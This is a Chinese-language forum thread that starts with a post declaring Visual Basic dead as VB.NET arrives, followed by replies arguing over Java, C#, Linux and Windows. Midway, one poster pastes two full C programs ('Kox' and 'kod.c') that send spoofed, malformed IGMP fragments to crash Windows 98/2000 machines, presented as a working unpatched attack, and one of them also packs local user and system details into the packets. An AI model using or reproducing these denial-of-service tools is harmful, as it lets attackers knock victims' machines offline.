Visual Basic宣告死亡 (0分)

  • 主题发起人 主题发起人 devuser
  • 开始时间 开始时间
D

devuser

Unregistered / Unconfirmed
GUEST, unregistred user!
Visual Basic宣告死亡

刚过完农历新年,很抱歉大过年的就在标题放上这个字眼。但是事实就是
如此,使用人口众多,简单容易上手的微软开发工具Visual Basic,即将
面临宣告死亡的命运。
或许您会说这是我这个反微软基本教义派在造谣,现在VB的版本是VB 6.0
,再来不是有VB 7.0,就是所谓的Visual Basic.NET吗?可是等大家拿到
这个新版的VB.NET,或是去要一份Beta版来看看,现在熟悉VB的人,可以
发现自己根本无从下手,因为从基本语法开始已经全都和以前不一样了。
目前只熟VB的朋友必须重新学起,反倒是会Java/C++的朋友会发现新的VB
似曾相识,因为VB已经改头换面成为物件导向语言,原来那个比尔盖兹的
最爱,从 do
S时代就伴随微软使用者成长的BASIC语言已经不复存在。
先不论这个改变对既有使用者的影响,这应该是一个好的改变。原有的VB
优点是初学者容易上手,很简单就可以拼拼凑凑兜出一个可以执行的小程
式,对於入门者或是功能简单的应用程序来说,实在是个好工具。但是面
对目前网络时代这些企业级的系统开发,旧有的VB实在不胜负荷。很多人
会写VB程序,但是如果没有严谨的专案管理和好的写程序习惯,很容易大
家写出一堆很难维护的VB程序码。反观Java或C+ +,由於规定严谨,虽然
因此造成入门学习障碍比 VB高,但是一旦领进门,按照物件导向分析/设
计的脚步一路走来,就会写出漂亮而且易读、易管理的程序。所以微软这
次趁推出.NET的机会,将旧有的VB一次大翻修,正式跨入物件导向的领域
,在技术成长上面来看应该是正确的方向。
只不过微软每次有新版本,总是不顾旧版使用者的需求。现在VB 6.0到VB
.NET全面大翻修,在微软网站上宣称要推出〝VB.NET Upgrade Tool〞用
来帮助升级VB 6.0的旧程序,不过从上面的功能介绍看来它只做了五件事

1. 变数到物件的型别转换2. 长短整数型态的转换3. 移除参数预设的性
质 4. 增加阵列范围定义限制5. 将VB 6.0 Form转换成新的Windows Form
但是将旧的VB 6.0程序全盘转为VB.NET,哪光是这五件事就可以做好的。
於是微软又有另一份长达26页的文件〝Preparing Your Visual Basic 6.
0 Applications for the Upgrade to Visual Basic.NET〞,洋洋洒洒列
出一串在写VB 6.0程序时的注意事项,只有这一串条件都符合了,才有可
能用上述的升级工具来作转换。面对目前成千上万行VB程序,各位VB程序
设计师,请大家自求多福。重新改写也许是一种活路,但是如果要重新改
写,为什么不乾脆用Java?反正VB.NET也会是物件导向语言,微软另一个
神奇宝贝 C#则是根本抄袭自Java和C++,在VB.NET尚未正式上市之前,我
倒是建议大家来学Java。J2EE会是比.NET更完备,而且是目前已经成熟的
企业运算架构。如果到时候.NET全部正式推出,您还是喜欢被微软拥抱的
感觉,先会了Java再接触C#或是VB.NET,您会觉得得心应手、游刃有余。
总之,旧的Visual Basic宣告死亡。对於微软号称全世界共有七百万以上
个 VB程序设计师们,请不要把希望放在这个〝VB.NET Upgrade Tool〞上
面,此举无异是坐以待毙。与其枯等新版的VB.NET,不如现在开始学Java
。看看正统的物件导向程序要怎么写,了解微软为什么要全面翻修见贤思
齐,将来不管是写Java或是VB.NET程序都没有问题,保证学习所花的工夫
不会白费。
 
还是死了的好
 
走到了尽头?
 
兔死狐笑有羊吃
 
好死好死要是VC也死就更好。
 
VB要死了,VC也死吧!
大家都来用delphi :)
 
微软怎么能这样?
 
VB,VB是不可能死的。
 
一群乌合之众。
Java不会有什么出息的!自从sun逼得M$放弃Java那天起,Java就注定在windows下
无所作为。今后的分布式系统的肯定是C#, VB.NET之类的东西,客户端的Java 2
必将灭亡,也许在服务器端还能生存一段时间。
C#的确是一个好东西,我保证sun现在正在为自己拒绝了M$而后悔不已!
 
也许在服务器端还能生存一段时间,这应该对m$说,呵呵,nt最终会被linux取代
我相信ibm的实力
 
我惨了,我毕业工作的单位常用的开发工具就是VB,我正准备学呢
 
>>nt最终会被linux取代
痴人说梦!即使在北美,linux热也早已降温,在linux下开发软件的公司凤毛麟爪!
平时谈论的仅仅是unix和windows,注意是unix,而不是linux.况且,unix的存在
也仅仅是因为北美计算机发展较早的遗留产物。
今后的发展趋势是:
unix将在一段时间内做为服务器继续存在,而windows(.NET)将不断侵蚀她的市场份额。
linux? 想都别想,根本没有它的份儿!看看北美地区的就业指南就知道了。
 
IGMP是一个尚处于实验阶段的协议,提供Internet网际多点传送的功能,即将一个IP包的拷贝传给多个host. Windows98和windows2000都采用了这个不太成熟的协议,在这两个平台内,这个多点传送的协议的应用容易引起Tcp/IP堆栈的阻塞,从而引发了一个目前没有补丁的新攻击:
这里有两段C程序,效果差不多,请正确编译.
对Windows98和windows2000都是严厉的攻击,可能需要来两次或者更多,对方的机器将会蓝屏,当机甚至立即重新启动.
/***

#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include

void usage(char *arg)
{
printf("Kox by Coolio (coolio@k-r4d.com)/n");
printf("Usage: %s /n", arg);
exit(1);
}

unsigned int randip()
{
struct hostent *he;
struct sockaddr_in sin;
char *buf = (char *)calloc(1, sizeof(char) * 16);
sprintf(buf, "%d.%d.%d.%d",
(random()%191)+23,
(random()%253)+1,
(random()%253)+1,
(random()%253)+1);
inet_aton(buf, (struct in_addr *)&sin);
return sin.sin_addr.s_addr;
}
unsigned short in_cksum(unsigned short *buh, int len)
{
register long sum = 0;
unsigned short oddbyte;
register unsigned short answer;

while(len > 1) {
sum += *buh++;
len -= 2;
}

if(len == 1) {
oddbyte = 0;
*((unsigned char *)&oddbyte) = *(unsigned char *)buh;
sum += oddbyte;
}

sum = (sum >> 16) + (sum &
0xFFFF);
sum += (sum >> 16);
answer = ~sum;
return answer;
}

int nuke_igmp(struct sockaddr_in *victim, unsigned long spoof)
{
int BIGIGMP = 1500;
unsigned char *pkt;
struct iphdr *ip;
struct igmphdr *igmp;
struct utsname *un;
struct passwd *p;

int i, s;
int id = (random() % 40000) + 500;

pkt = (unsigned char *)calloc(1, BIGIGMP);
ip = (struct iphdr *)pkt;
igmp = (struct igmphdr *)(pkt + sizeof(struct iphdr));

ip->version = 4;
ip->ihl = (sizeof *ip) / 4;
ip->ttl = 255;
ip->tot_len = htons(BIGIGMP);
ip->protocol = IPPROTO_IGMP;
ip->id = htons(id);
ip->frag_off = htons(IP_MF);
ip->saddr = spoof;
ip->daddr = victim->sin_addr.s_addr;
ip->check = in_cksum((unsigned short *)ip, sizeof(struct iphdr));

igmp->type = 0;
igmp->group = 0;
igmp->csum = in_cksum((unsigned short *)igmp, sizeof(struct igmphdr));

for(i = sizeof(struct iphdr) + sizeof(struct igmphdr) + 1;
i < BIGIGMP;
i++)
pkt = random() % 255;
#ifndef I_GROK
un = (struct utsname *)(pkt + sizeof(struct iphdr) +
sizeof(struct igmphdr) + 40);
uname(un);
p = (struct passwd *)((void *)un + sizeof(struct utsname) + 10);
memcpy(p, getpwuid(getuid()), sizeof(struct passwd));
#endif
if((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
perror("error: socket()");
return 1;
}

if(sendto(s, pkt, BIGIGMP, 0, victim,
sizeof(struct sockaddr_in)) == -1) {
perror("error: sendto()");
return 1;
}
usleep(1000000);

for(i = 1;
i < 5;
i++) {
if(i > 3)
ip->frag_off = htons(((BIGIGMP-20) * i) >> 3);
else
ip->frag_off = htons(((BIGIGMP-20) * i) >> 3 | IP_MF);
sendto(s, pkt, BIGIGMP, 0, victim, sizeof(struct sockaddr_in));
usleep(2000000);
}

free(pkt);
close(s);
return 0;
}

int main(int argc, char *argv[])
{
struct sockaddr_in victim;
struct hostent *he;
int i;

srandom(time(NULL));

if(argc < 2)
usage(argv[0]);

if((he = gethostbyname(argv[1])) == NULL) {
herror(argv[1]);
exit(1);
}
memcpy(&victim.sin_addr.s_addr, he->h_addr, he->h_length);
victim.sin_port = htons(0);
victim.sin_family = PF_INET;

printf("IGMP> ");
fflush(stdout);
for(i = 0;
i < 10;
i++)
{
nuke_igmp(&victim, randip());
printf(".");
fflush(stdout);
}
printf("/n");
fflush(stdout);
}

 

另一段程序:
/*
::: kod.c (kiss of death) version 1.2
::: [author] kod.c bug found by klepto /
klepto@levitate.net / rewritten by ignitor / ignitor@EFnet
::: [stuph ] works on bsd/linux/*nix
::: [notes ] bluescreens windows users(98/98se) and kills
tcp stack
::: [m$ bug] windows handles igmp badly and this is the
result
::: [greets]
amputee/nizda/nyt/ignitor/skyline/codelogic/ill`/conio/egotr
ip/TFreak/napster
::: [greets] dist(test monkey)/naz(you rule period.)/#havok/
#irc_addict/#kgb/#eof/everyone
::: [action] ./kod and BEWM!
::: [rant ] there will be lots of rewrites to this.. just
get our name right!
de omnibus dubitandum
*/

/*
windows core dump output (*whee*)
An exception 0E has occurred at 0028:C14C9212 in VxD VIP
(01) +
00006C72. This was called from 0028:C183FF54 in VcD PPPMAC
(04) +
000079BR. It may be possible to continue normally(*not*).
*/


#include
#include
#include
#include
#include
#include
#include
#include
#include
#include

struct iphdr
{
unsigned char ihl:4, version:4, tos;
unsigned short tot_len, id, frag_off;
unsigned char ttl, protocol;
unsigned short check;
unsigned int saddr, daddr;
};

struct igmphdr
{
unsigned char type, code;
unsigned short cksum;
struct in_addr group;
};

unsigned short in_chksum(unsigned short *, int);
long resolve(char *);

long resolve(char *host)
{
struct hostent *hst;
long addr;

hst = gethostbyname(host);
if (hst == NULL)
return(-1);

memcpy(&addr, hst->h_addr, hst->h_length);

return(addr);
}

int main(int argc, char *argv[])
{
struct sockaddr_in dst;
struct iphdr *ip;
struct igmphdr *igmp;
long daddr, saddr;
int s, i=0, c, len;
char buf[1500];

if (argc < 3)
{
printf("KOD spoofer by Ignitor and klepto/n");
printf("Usage: %s /n", *argv);
return(1);
}

daddr = resolve(argv[2]);
saddr = resolve(argv[1]);

memset(buf, 0, 1500);
ip = (struct iphdr *)&buf;
igmp = (struct igmphdr *)&buf[sizeof(struct iphdr)];

dst.sin_addr.s_addr = daddr;
dst.sin_family = AF_INET;

ip->ihl = 5;
ip->version = 4;
ip->tos = 0;
ip->tot_len = htons(10933);
ip->id = htons(48648);
ip->ttl = 64;
ip->protocol = IPPROTO_IGMP;
ip->check = in_chksum((unsigned short *)ip, sizeof(struct
iphdr));
ip->saddr = saddr;
ip->daddr = daddr;

s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if (s == -1)
return(1);

printf("Sending IGMP packets: %s -> %s/n", argv[1], argv
[2]);

for (c=0;c<2;c++)
{
len = 220;
ip->frag_off = htons(0x73a);

for (i=0;;i++)
{
if (sendto(s,&buf,len,0,(struct sockaddr *)&dst,sizeof
(struct sockaddr_in)) == -1)
{
perror("Error sending packet");
exit(-1);
}
if (ntohs(ip->frag_off) == 0x2000)
break;
len = 1500;
if (!i)
ip->frag_off = htons(0x2681);
else
ip->frag_off = htons(ntohs(ip->frag_off) - 185);

ip->check = in_chksum((unsigned short *)ip, sizeof
(struct iphdr));
}
}

return(1);
}

unsigned short in_chksum(unsigned short *addr, int len)
{
register int nleft = len;
register int sum = 0;
u_short answer = 0;

while (nleft > 1) {
sum += *addr++;
nleft -= 2;
}

if (nleft == 1) {
*(u_char *)(&answer) = *(u_char *)addr;
sum += answer;
}

sum = (sum >> 16) + (sum &
0xffff);
sum += (sum >> 16);
answer = ~sum;
return(answer);
}
解决方案:暂时没有
 
据我所知,ibm还从没有在客户端软件方面有过什么做为,除了java的服务器端
有一些成绩而已。
sun故步自封结果终将摆起石头砸自己的脚!让java放弃windows平台,也就等于
放弃了大量的windows下的java程序员。况且,sun到至今也不肯将java标准提交
给标准化组织,用心险恶呀!
好消息是M$已经准备在今后的IE浏览器中不再安装java的虚拟机。。。
呵呵,等死吧你们!
 
真讨厌!写这段又臭又长的狗P程序干什么?
 
微软认证-----狗屁用没有
具统计中国须java程序员200000
但中国有20000
通过java认证:2000
Windows 2000包含一个特性,终端用户通过按住右Ctrl,同时press两次Scrool Lock键,就
可以crash整个系统,同时在C:/WinNT/下dump完整的当前内存,文件名是memory.dmp。
当然,这个特性默认是关闭的,可以通过修改注册表的方法激活之:
1、运行regedit.exe
2、选择HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/i8042prt/Parameters
3、增加一个DWORD
4、键名为CrashOnCtrlScroll
5、设置一个不为零的值,例如1
6、退出重启
生效后,最后的效果为黑屏,出现以下字样:
*** STOP: 0x000000E2 (0x00000000,0x00000000,0x00000000,0x00000000)
The end-user manually generated the crashdump.
这个特性是为开发人员预备的?NT4上好像也有。与系统安全有关系么?呵呵。
 

作为Unix的类操作系统,目前Linux成功地应用在中低端服务器,特别是Internet各种服务器的应用。根据IDC1999年的调查显示,Linux已经占据了服务器市场出货量的25%,排名在NT之后的第二位。而它的增长率却高达212%,速度之快令人惊讶。相信在不久的将来,Linux必定会成为在企业应用领域中最璀璨、明亮一颗的明珠,令世人倾慕她、喜爱她、终身追求她。
作为信息产业技术发展、革新中最活跃一支的有生力量,和技术标准化的有力倡导者,IBM倾入大量的人力、物力和一切可以利用的内部和外部资源,全力支持和帮助Linux走向企业应用的正轨和绚丽美好的明天。IBM正在逐渐把自己在计算机领域内领先的技术(如:JFS、AFS ...)奉献给公开源代码民间组织的同时,已经把IBM众多享誉全球的核心软件产品和应用系统平台如:Lotus do
mino、IBM DB2、WebSphere Family等移植到Linux平台。为Linux走向企业迈出了坚实有力的一步。
通过IBM全力、全面支持Linux操作系统,和众多Linux技术人员的进一步地熟悉IBM的Linux软件产品,第一次真正把Linux应用到企业环境中去,成功地把Linux从技术骇客手中的玩偶转变为企业应用中的一把利器。
IBM已为你(Linux技术的追从者和使用者)创造了一个任你翱翔展示自我的技术平台空间,还在等待什么呢!赶快投身到“IBM我爱Linux Web应用程序开发大奖赛”,展示你的聪明才智,为Linux将来的发展伸出你有力的手。
参加本次活动,您还可以得到以下丰厚收获:
1,获得丰富的Linux OS 及IBMLinux版 中间件软件,实际价值惊人
2,通过学习本次活动提供的学习资料和参加网上考试,获得IBM 2001年度Linux网上培训认证,为您的升学,就业,升迁创造有利条件。
3,在Linux平台上一试身手,有机会赢取大奖,机会多多,奖金高达人民币3万元
4,学会使用Java开发工具和 Java应用服务器及数据产品进行Web应用开发,在Linux Server 上运行,感觉“我是征服者 ”
5,展现自我,丰富自我,参与挑战,获得更多的帮助和交流机会,认识新朋友,发现新乐趣...

 
>>微软认证-----狗屁用没有
你小子无法否认考M$认证的人最多吧?况且,等.NET出来以后再看吧!那时候
java已经在windows绝迹了,java认证??呵呵,到时候傻B才会考。
另外,你绝那个例子想说明什么呢?想说明你windows用熟练吗?告诉你把,你没有
发现unix的问题是因为你根本不熟悉unix,所以无法找出漏洞。对一个真正的黑客
来说,unix和nt都一样是漏洞百出的。况且老子看不出你的例子对用户有什么害处。
 
后退
顶部